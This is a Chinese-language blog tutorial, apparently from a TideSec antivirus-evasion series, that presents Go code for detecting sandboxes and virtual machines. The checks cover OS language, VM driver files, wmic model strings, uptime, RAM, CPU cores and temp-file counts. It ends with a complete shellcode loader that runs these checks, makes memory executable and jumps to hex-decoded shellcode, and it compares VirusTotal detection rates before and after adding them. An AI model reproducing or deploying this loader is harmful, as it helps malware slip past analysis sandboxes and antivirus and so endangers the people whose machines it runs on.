远控免杀专题(75)-基于Go的沙箱检测

margin

远控免杀专题(75)-基于Go的沙箱检测
​免杀专题文章及工具：https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库：http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料：https://github.com/TideSec/GoBypassAV/
0x00 引用说明本文内容参考节选自以下资料：
反虚拟机和沙箱检测：https://www.freebuf.com/articles/system/202717.html
Golang实现沙箱识别：https://blog.51cto.com/u_15127583/4364960
Bypass AV 思路：https://github.com/Ed1s0nZ/GoYiyi
0x01 关于反沙箱检测沙箱是用于隔离正在运行的程序的安全机制。它通常用于执行未经测试或不受信任的程序或代码，这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站，而不会危害主机或操作系统。
在规避技术中，由于目前沙箱正成为判断恶意威胁的一种最快速和最简单的方式，因此反沙箱检测是比较重要的一类技术。
因为之前对这方面了解较少，所以这里搜集汇总了一些基于GO的沙箱检测方法。
0x02 基于Go的沙箱检测2.1 操作系统语言检测因为沙箱基本都是英文，所以根据首选操作系统语言是不是中文来判断是否为沙箱环境，简单粗暴一些。
而且依赖golang.org/x/sys/windows包，使用该包会增大exe程序0.3M左右。

1. func check_language() {
   
2. a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)
   
3. if a[0] != "zh-CN" {
   
4.   os.Exit(1)
   
5. }
   
6. }

复制代码

2.2 操作系统信息执行wmic命令，返回操作系统信息，根据关键字来判断，也是略简单粗暴。

1. func check_virtual() (bool, error) { // 识别虚拟机
   
2. model := ""
   
3. var cmd *exec.Cmd
   
4. cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
   
5. stdout, err := cmd.Output()
   
6. if err != nil {
   
7.   return false, err
   
8. }
   
9. model = strings.ToLower(string(stdout))
   
10. if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
    
11.   strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
    
12.   return true, nil //如果是虚拟机则返回true
    
13. }
    
14. return false, nil
    
15. }
    

复制代码

2.3 检测系统文件根据虚拟机或沙箱可能存在的一些文件，来进行判断。

1. func PathExists(path string) (bool, error) {
   
2. _, err := os.Stat(path)
   
3. if err == nil {
   
4.   return true, nil
   
5. }
   
6. if os.IsNotExist(err) {
   
7.   return false, nil
   
8. }
   
9. return false, err
   
10. }
    
11. func fack(path string) {
    
12. b, _ := PathExists(path)
    
13. if b {
    
14.   os.Exit(1)
    
15. }
    
16. }
    
17. func check_file() {
    
18. fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
    
19. fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
    
20. fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
    
21. fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
    
22. fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
    
23. fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
    
24. fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
    
25. fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
    
26. fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
    
27. fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
    
28. fack("C:\\windows\\System32\\vboxdisp.dll")
    
29. fack("C:\\windows\\System32\\vboxhook.dll")
    
30. fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
    
31. fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
    
32. fack("C:\\windows\\System32\\vboxservice.exe")
    
33. fack("C:\\windows\\System32\\vboxtray.exe")
    
34. fack("C:\\windows\\System32\\VBoxControl.exe")
    
35. }

复制代码

2.4 延迟运行检测在各类检测沙箱中，检测运行的时间往往是比较短的，因为其没有过多资源可以供程序长时间运行，所以我们可以延迟等待一会儿后再进行真实的操作。

1. unc timeSleep() (int, error) {
   
2. startTime := time.Now()
   
3. time.Sleep(5 * time.Second)
   
4. endTime := time.Now()
   
5. sleepTime := endTime.Sub(startTime)
   
6. if sleepTime >= time.Duration(5*time.Second) {
   
7.   return 1, nil
   
8. } else {
   
9.   return 0, nil
   
10. }
    
11. }

复制代码

f
2.5 开机时间检测许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。

1. func bootTime() (int, error) {
   
2. var kernel = syscall.NewLazyDLL("Kernel32.dll")
   
3. GetTickCount := kernel.NewProc("GetTickCount")
   
4. r, _, _ := GetTickCount.Call()
   
5. if r == 0 {
   
6.   return 0, nil
   
7. }
   
8. ms := time.Duration(r * 1000 * 1000)
   
9. tm := time.Duration(30 * time.Minute)
   
10. if ms < tm {
    
11.   return 0, nil
    
12. } else {
    
13.   return 1, nil
    
14. }
    
15. }

复制代码

2.6 检测物理内存当今大多数pc具有4GB以上的RAM,我们可以检测RAM是否大于4GB来判断是否是真实的运行机器。

1. func physicalMemory() (int, error) {
   
2. var mod = syscall.NewLazyDLL("kernel32.dll")
   
3. var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
   
4. var mem uint64
   
5. proc.Call(uintptr(unsafe.Pointer(&mem)))
   
6. mem = mem / 1048576
   
7. if mem < 4 {
   
8.   return 0, nil
   
9. }
   
10. return 1, nil
    
11. }

复制代码

2.7 检测CPU核心数大多数pc拥有4核心cpu，许多在线检测的虚拟机沙盘是2核心，我们可以通过核心数来判断是否为真实机器或检测用的虚拟沙箱。

1. func numberOfCPU() (int, error) {
   
2. a := runtime.NumCPU()
   
3. if a < 4 {
   
4.   return 0, nil
   
5. } else {
   
6.   return 1, nil
   
7. }
   
8. }

复制代码

2.8 检测临时文件数正常使用的系统，其中用户的临时文件夹中有一定数量的临时文件，可以通过判断临时文件夹内的文件数量来检测是否在沙箱中运行。

1. func numberOfTempFiles() (int, error) {
   
2. conn := os.Getenv("temp")
   
3. var k int
   
4. if conn == "" {
   
5.   return 0, nil
   
6. } else {
   
7.   local_dir := conn
   
8.   err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
   
9.    if fi.IsDir() {
   
10.     return nil
    
11.    }
    
12.    k++
    
13.    return nil
    
14.   })
    
15.   if err != nil {
    
16.    return 0, nil
    
17.   }
    
18. }
    
19. if k < 30 {
    
20.   return 0, nil
    
21. }
    
22. return 1, nil
    
23. }

复制代码

0x03 沙箱检测对比我这使用相同的shellcode加载代码，一个使用沙箱检测，一个不使用沙箱检测。

​

编辑
常规编译命令，两个文件大小相差0.3M。

​

编辑
未使用沙箱检测技术的，VT查杀结果为：10/71

​

编辑

使用了沙箱检测技术的，VT查杀结果为：8/70

​

编辑
额，好像差别也不是很大。而且加了虚拟机检测后，自己调试也麻烦了。
0x04 完整代码在潮影在线免杀平台 http://bypass.tidesec.com 上，最初也有沙盒检测方面的功能模块，但后来发现效果一般，便去掉了。
本文涉及的所有代码和资料在这里都有：https://github.com/TideSec/GoBypassAV/

1. package main
   
2. 
   
3. import (
   
4. "encoding/hex"
   
5. "golang.org/x/sys/windows"
   
6. "os"
   
7. "os/exec"
   
8. "path/filepath"
   
9. "runtime"
   
10. "strings"
    
11. "syscall"
    
12. "time"
    
13. "unsafe"
    
14. )
    
15. 
    
16. // 检测语言，依赖windows数据包，编译后会增加0.6M大小
    
17. func check_language() {
    
18. a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言
    
19. if a[0] != "zh-CN" {
    
20.   os.Exit(1)
    
21. }
    
22. }
    
23. 
    
24. func check_sandbox() {
    
25. // 1. 延时运行
    
26. timeSleep1, _ := timeSleep()
    
27. // 2. 检测开机时间
    
28. bootTime1, _ := bootTime()
    
29. // 3. 检测物理内存
    
30. physicalMemory1, _ := physicalMemory()
    
31. // 4. 检测CPU核心数
    
32. numberOfCPU1, _ := numberOfCPU()
    
33. // 5. 检测临时文件数
    
34. numberOfTempFiles1, _ := numberOfTempFiles()
    
35. level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五个等级，等级越趋向于5，越像真机
    
36. //fmt.Println("level:", level)
    
37. if level < 4 {
    
38.   os.Exit(1)
    
39. }
    
40. }
    
41. 
    
42. // 1. 延时运行
    
43. func timeSleep() (int, error) {
    
44. startTime := time.Now()
    
45. time.Sleep(5 * time.Second)
    
46. endTime := time.Now()
    
47. sleepTime := endTime.Sub(startTime)
    
48. if sleepTime >= time.Duration(5*time.Second) {
    
49.   //fmt.Println("睡眠时间为:", sleepTime)
    
50.   return 1, nil
    
51. } else {
    
52.   return 0, nil
    
53. }
    
54. }
    
55. 
    
56. // 2. 检测开机时间
    
57. // 许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。
    
58. func bootTime() (int, error) {
    
59. var kernel = syscall.NewLazyDLL("Kernel32.dll")
    
60. GetTickCount := kernel.NewProc("GetTickCount")
    
61. r, _, _ := GetTickCount.Call()
    
62. if r == 0 {
    
63.   return 0, nil
    
64. }
    
65. ms := time.Duration(r * 1000 * 1000)
    
66. tm := time.Duration(30 * time.Minute)
    
67. //fmt.Println(ms,tm)
    
68. if ms < tm {
    
69.   return 0, nil
    
70. } else {
    
71.   return 1, nil
    
72. }
    
73. 
    
74. }
    
75. // 3、物理内存大小
    
76. func physicalMemory() (int, error) {
    
77. var mod = syscall.NewLazyDLL("kernel32.dll")
    
78. var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
    
79. var mem uint64
    
80. proc.Call(uintptr(unsafe.Pointer(&mem)))
    
81. mem = mem / 1048576
    
82. //fmt.Printf("物理内存为%dG\n", mem)
    
83. if mem < 4 {
    
84.   return 0, nil // 小于4GB返回0
    
85. }
    
86. return 1, nil // 大于4GB返回1
    
87. }
    
88. 
    
89. func numberOfCPU() (int, error) {
    
90. a := runtime.NumCPU()
    
91. //fmt.Println("CPU核心数为:", a)
    
92. if a < 4 {
    
93.   return 0, nil // 小于4核心数,返回0
    
94. } else {
    
95.   return 1, nil // 大于4核心数，返回1
    
96. }
    
97. }
    
98. func numberOfTempFiles() (int, error) {
    
99. conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
    
100. var k int
     
101. if conn == "" {
     
102.   //fmt.Println("未找到temp文件夹，或temp文件夹不存在")
     
103.   return 0, nil
     
104. } else {
     
105.   local_dir := conn
     
106.   err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
     
107.    if fi.IsDir() {
     
108.     return nil
     
109.    }
     
110.    k++
     
111.    // fmt.Println("filename:", filename)  // 输出文件名字
     
112.    return nil
     
113.   })
     
114.   //fmt.Println("Temp总共文件数量:", k)
     
115.   if err != nil {
     
116.    // fmt.Println("路径获取错误")
     
117.    return 0, nil
     
118.   }
     
119. }
     
120. if k < 30 {
     
121.   return 0, nil
     
122. }
     
123. return 1, nil
     
124. }
     
125. 
     
126. func check_virtual() (bool, error) { // 识别虚拟机
     
127. model := ""
     
128. var cmd *exec.Cmd
     
129. cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
     
130. stdout, err := cmd.Output()
     
131. if err != nil {
     
132.   return false, err
     
133. }
     
134. model = strings.ToLower(string(stdout))
     
135. if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
     
136.   strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
     
137.   return true, nil //如果是虚拟机则返回true
     
138. }
     
139. return false, nil
     
140. }
     
141. func PathExists(path string) (bool, error) {
     
142. _, err := os.Stat(path)
     
143. if err == nil {
     
144.   return true, nil
     
145. }
     
146. if os.IsNotExist(err) {
     
147.   return false, nil
     
148. }
     
149. return false, err
     
150. }
     
151. func fack(path string) {
     
152. b, _ := PathExists(path)
     
153. if b {
     
154.   os.Exit(1)
     
155. }
     
156. }
     
157. func check_file() {
     
158. fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
     
159. fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
     
160. fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
     
161. fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
     
162. fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
     
163. fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
     
164. fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
     
165. fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
     
166. fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
     
167. fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
     
168. fack("C:\\windows\\System32\\vboxdisp.dll")
     
169. fack("C:\\windows\\System32\\vboxhook.dll")
     
170. fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
     
171. fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
     
172. fack("C:\\windows\\System32\\vboxservice.exe")
     
173. fack("C:\\windows\\System32\\vboxtray.exe")
     
174. fack("C:\\windows\\System32\\VBoxControl.exe")
     
175. }
     
176. 
     
177. var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
     
178. 
     
179. func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
     
180. ret, _, _ := VirtualAlloc.Call(
     
181.   uintptr(a),
     
182.   uintptr(b),
     
183.   uintptr(c),
     
184.   uintptr(d))
     
185. return ret > 0
     
186. }
     
187. 
     
188. func Run(sc []byte) {
     
189. fly := func() {}
     
190. var xx uint32
     
191. if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
     
192. }
     
193. **(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
     
194. var yy uint32
     
195. aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
     
196. fly()
     
197. }
     
198. 
     
199. func ScFromHex(scHex string) []byte{
     
200. var charcode []byte
     
201. charcode, _ = hex.DecodeString(string(scHex))
     
202. return charcode
     
203. }
     
204. func main() {
     
205. check_language()
     
206. check_file()
     
207. check,_ := check_virtual()
     
208. if check == true{
     
209.   os.Exit(1)
     
210. }
     
211. check_sandbox()
     
212. sccode := ScFromHex("shellcode")
     
213. Run(sccode)
     
214. }

复制代码

0x05 参考资料Go语言进行简单的反虚拟机检测：https://www.nctry.com/2243.html
反虚拟机和沙箱检测：https://www.freebuf.com/articles/system/202717.html
Golang实现沙箱识别：https://blog.51cto.com/u_15127583/4364960
各种go-shellcode：https://github.com/Ne0nd0g/go-shellcode
图片 图像 小部件
​